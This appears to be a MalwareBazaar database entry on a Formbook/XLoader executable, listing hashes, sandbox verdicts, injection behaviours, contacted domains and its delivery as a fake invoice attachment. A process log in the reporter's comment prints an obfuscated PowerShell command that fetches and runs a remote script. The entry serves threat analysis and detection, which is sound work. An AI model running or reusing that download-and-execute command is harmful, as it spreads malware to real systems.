MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 3b8a5b17925c115df3673e81b408684a6199b9dc6e715810a43444d297c5089d. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry


Formbook


Vendor detections: 14


Intelligence 14 IOCs YARA 2 File information Comments
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SHA256 hash: 3b8a5b17925c115df3673e81b408684a6199b9dc6e715810a43444d297c5089d
SHA3-384 hash: a147dd03fa4dd78806b14ed814c4c8b8dc0db78788f42452e16fed0f809f399e2903005338e5c152244159cfbe2a275c
SHA1 hash: 39947de4a10381e944440eae450f30b66a08334e
MD5 hash: 51c7f45ca2d7d26be5e7d6b51aec8e0a
humanhash: magazine-quebec-skylark-september
File name:RYJGJHJDGHR.exe
Download: download sample
Signature Formbook
Create hunting rule
File size:861'696 bytes
First seen:2022-04-03 12:04:32 UTC
Last seen:2022-04-03 12:50:44 UTC
File type:Executable exe
MIME type:application/x-dosexec
imphash f34d5f2d4577ed6d9ceec516c1f5a744 (48'652 x AgentTesla, 19'463 x Formbook, 12'204 x SnakeKeylogger)
ssdeep 12288:+5T0E7B3nHC3PkMppox52U+npJk40cLzpOoIJK4iwdHP7PoFGtXD:LpBLzpORJ4OU
Threatray 11'147 similar samples on MalwareBazaar
TLSH T1B205BC2A38BA110DB261AD6C6BBCB175D11EF7F226365CBB0DF7054610129F0CBAD627
Reporter c_APT_ure
Tags:exe FormBook powershell vbs


Avatar
c_APT_ure
--- mail attachments (spaces replaced with [_X]) ---
49e864fe28310b2adc782a975aaa5b67 ./Revised_Invoice_#03252022.iso
e0e7f44f32d0b3dabb08bd61a3b81f6a ./Revised_Invoice_#03252022.vbs

--- processes created ---
* pid="2660" / md5="979D74799EA6C8B8167869A68DF5204A" / parentpid="1452"
path="C:\Windows\System32\wscript.exe" / cmdline="C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\Revised_Invoice_x2303252022.vbs'"
* pid="2688" / md5="92F44E405DB16AC55D97E3BFE3B132FA" / parentpid="2660"
path="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" / cmdline="'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -exeCutiO BYpASS -C I`eX(n`EW-Ob`J`EcT nET`.weBCLi`ENt).DoWnloAdStRiNG('https://transfer.sh/get/9GqmOG/jramooooss.ps1') "

Intelligence

File Origin
# of uploads :
2
# of downloads :
344
Origin country :
n/a
Vendor Threat Intelligence
Detection:
n/a
Link:
https://www.capesandbox.com/analysis/260244/
Detection(s):
SecuriteInfo.com.Trojan.PackedNET.1268.29498.31587.UNOFFICIAL
Create hunting rule

Result
Verdict:
Malware
Maliciousness:

Behaviour
Creating a file
DNS request
Sending a custom TCP request
Forced shutdown of a system process
Unauthorized injection to a system process
Verdict:
Malicious
Threat level:
  10/10
Confidence:
100%
Tags:
control.exe formbook obfuscated packed replace.exe
Link:
https://www.filescan.io/uploads/62498d6f1f20423948759c75/reports/20dc97c9-4237-4de6-82ba-ffb760f7068b/overview
Result
Verdict:
MALICIOUS
Details
Windows PE Executable
Found a Windows Portable Executable (PE) binary. Depending on context, the presence of a binary is suspicious or malicious.
Malware family:
Formbook
Create hunting rule
Verdict:
Malicious
Link:
https://analyze.intezer.com/analyses/427d50bc-3c66-4ffd-a571-3e9c19bb7bb1
Result
Threat name:
FormBook
Create hunting rule
Detection:
malicious
Classification:
troj.evad
Score:
100 / 100
Link:
https://www.joesandbox.com/analysis/969561
Signature
.NET source code contains potential unpacker
.NET source code contains very large strings
Allocates memory in foreign processes
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
C2 URLs / IPs found in malware configuration
Found malware configuration
Injects a PE file into a foreign processes
Machine Learning detection for sample
Malicious sample detected (through community Yara rule)
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Multi AV Scanner detection for submitted file
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Tries to detect virtualization through RDTSC time measurements
Writes to foreign memory regions
Yara detected FormBook
Behaviour
Behavior Graph:
Download SVG
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 602048 Sample: RYJGJHJDGHR.exe Startdate: 03/04/2022 Architecture: WINDOWS Score: 100 31 www.nagradi7.com 2->31 39 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->39 41 Found malware configuration 2->41 43 Malicious sample detected (through community Yara rule) 2->43 45 8 other signatures 2->45 11 RYJGJHJDGHR.exe 1 2->11         started        signatures3 process4 file5 29 C:\Users\user\AppData\...\RYJGJHJDGHR.exe.log, ASCII 11->29 dropped 55 Writes to foreign memory regions 11->55 57 Allocates memory in foreign processes 11->57 59 Injects a PE file into a foreign processes 11->59 15 aspnet_compiler.exe 11->15         started        signatures6 process7 signatures8 61 Modifies the context of a thread in another process (thread injection) 15->61 63 Maps a DLL or memory area into another process 15->63 65 Sample uses process hollowing technique 15->65 67 2 other signatures 15->67 18 explorer.exe 15->18 injected process9 dnsIp10 33 buyingusedfurniture.com 199.188.200.155, 49858, 80 NAMECHEAP-NETUS United States 18->33 35 www.ooo-club.com 35.214.4.70, 49794, 80 GOOGLE-2US United States 18->35 37 15 other IPs or domains 18->37 47 System process connects to network (likely due to code injection or exploit) 18->47 22 cmd.exe 18->22         started        signatures11 process12 signatures13 49 Modifies the context of a thread in another process (thread injection) 22->49 51 Maps a DLL or memory area into another process 22->51 53 Tries to detect virtualization through RDTSC time measurements 22->53 25 cmd.exe 1 22->25         started        process14 process15 27 conhost.exe 25->27         started       
Detection:
formbook
Create hunting rule
Link:
https://mwdb.cert.pl/sample/3b8a5b17925c115df3673e81b408684a6199b9dc6e715810a43444d297c5089d/
Threat name:
ByteCode-MSIL.Trojan.AgentTesla
Create hunting rule
Status:
Malicious
First seen:
2022-03-26 13:50:34 UTC
File Type:
PE (.Net Exe)
Extracted files:
5
AV detection:
29 of 42 (69.05%)
Threat level:
  5/5
Detection(s):
Suspicious file
Link:
https://check.spamhaus.org/check/?searchterm=hoffwf4slqiv343hh2a3icdijjqztoo4nzyvqefegrcnff6fbcoq._file
Verdict:
malicious
Label(s):
formbook
Create hunting rule
Similar samples:
39586764971f496d274f3d453029954720962ed36672050b742aef8b4e68a78e
Formbook
417c951fb4d744d1446011b1e2e36e76d450801fa8072d72ea600d323d03a8c5
Formbook
5f8d69976e4d3c9b6508cd376dcab4971a605d8d1122952ad604f7b48d2ef1e1
Formbook
98c9c20fcffa6fe99c0841a33f4a9283552b9393d958818b9b2b610d5467822e
Formbook
9cd0bbacb06bc4a961772ad5dac574736247fa7604116855118ecabb6926643b
Formbook
d3fae1feacb2e75560f838099213ae33385d6a0a11caa222a4f09024721e2720
Formbook
e3c2718738a6d4d07664a951dee401b2c4e9416ac6a989f6aa21c3564fdaf241
Formbook
e812adcd8f8470a1be64d92dafaebf717db1c45d58fe04a9160d88a468cf7e3c
Formbook
ea94995d23d53a98a949a242022cbd9bc5b7a4320c3fb6c045370b15704e4004
Formbook
eccce6ae6f8a2ed3c5edc1ede824681a9d4b9499139e4c00f2a85ca4684cec17
Formbook
+ 11'137 additional samples on MalwareBazaar
Result
Malware family:
xloader
Create hunting rule
Score:
  10/10
Tags:
family:xloader campaign:be4o loader persistence rat spyware stealer
Link:
https://tria.ge/reports/220403-n86b9sagd4/
Behaviour
Modifies Internet Explorer settings
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
Suspicious behavior: MapViewOfSection
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Program crash
Drops file in Program Files directory
Suspicious use of SetThreadContext
Adds Run key to start application
Reads user/profile data of web browsers
Executes dropped EXE
Xloader Payload
Xloader
Unpacked files
SH256 hash:
8448cb26bbc12696f55012c7eb202518408cd0b4d7782aa3ef5bd25b0a5a6e86
MD5 hash:
06e0b802ddfced9bd00661c179e55f55
SHA1 hash:
14a90bca64fb347856c1f1f68bc77bb87d22852b
Detections:
win_formbook_g0
Create hunting rule
win_formbook_auto
Create hunting rule
Link:
https://www.unpac.me/results/fca540d0-cd39-4c73-8f52-3c0b73de0b1a/
Parent samples :
b24fe0dd0ec4d61ac6903f6579d59dcffd17d0e002c96803a551aa3ab17367ef
cb51f3c16fbd5864ed8b436c89600948cdc76e2c0bf84aca221992f405a77eb9
6893bbff4695dce3754071670e11d7e7d310ad196b57cdb41cd8c3cd7ea3d8f3
3b8a5b17925c115df3673e81b408684a6199b9dc6e715810a43444d297c5089d
SH256 hash:
7ebef135c09077c860cf3b5d3cde9ccb93d3a1f4ee70e64754aecf5065191016
MD5 hash:
dff88df5fdacf61e9318ea88b062f9fc
SHA1 hash:
2af4a99eebd40cbc892530a347df1b8082ecb600
Link:
https://www.unpac.me/results/fca540d0-cd39-4c73-8f52-3c0b73de0b1a/
SH256 hash:
3b8a5b17925c115df3673e81b408684a6199b9dc6e715810a43444d297c5089d
MD5 hash:
51c7f45ca2d7d26be5e7d6b51aec8e0a
SHA1 hash:
39947de4a10381e944440eae450f30b66a08334e
Link:
https://www.unpac.me/results/fca540d0-cd39-4c73-8f52-3c0b73de0b1a/
Malware family:
XLoader
Create hunting rule
Verdict:
Malicious
Link:
https://www.vmray.com/analyses/3b8a5b17925c/report/overview.html
Please note that we are no longer able to provide a coverage score for Virus Total.
Threat name:
Suspicious File
Score:
0.55
Link:
https://yomi.yoroi.company/submissions/3b8a5b17925c115df3673e81b408684a6199b9dc6e715810a43444d297c5089d

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:pe_imphash
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Rule name:Skystars_Malware_Imphash
Create hunting rule
Author:Skystars LightDefender
Description:imphash

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Malspam

Formbook

PowerShell (PS) ps1 389358ac51f2b51b2425cface223f89a56f7715262829c5731fe5a4da3d40a11

Formbook

Executable exe 3b8a5b17925c115df3673e81b408684a6199b9dc6e715810a43444d297c5089d

(this sample)

  
URLhaus
https://urlhaus.abuse.ch/url/2115295/
  
Dropped by
MD5 1623e62971b6cbe70bf5dc56198ab4b6
  
Delivery method
Distributed via e-mail attachment
Cape
Cape
https://www.capesandbox.com/analysis/260244/
  
Dropped by
SHA256 389358ac51f2b51b2425cface223f89a56f7715262829c5731fe5a4da3d40a11

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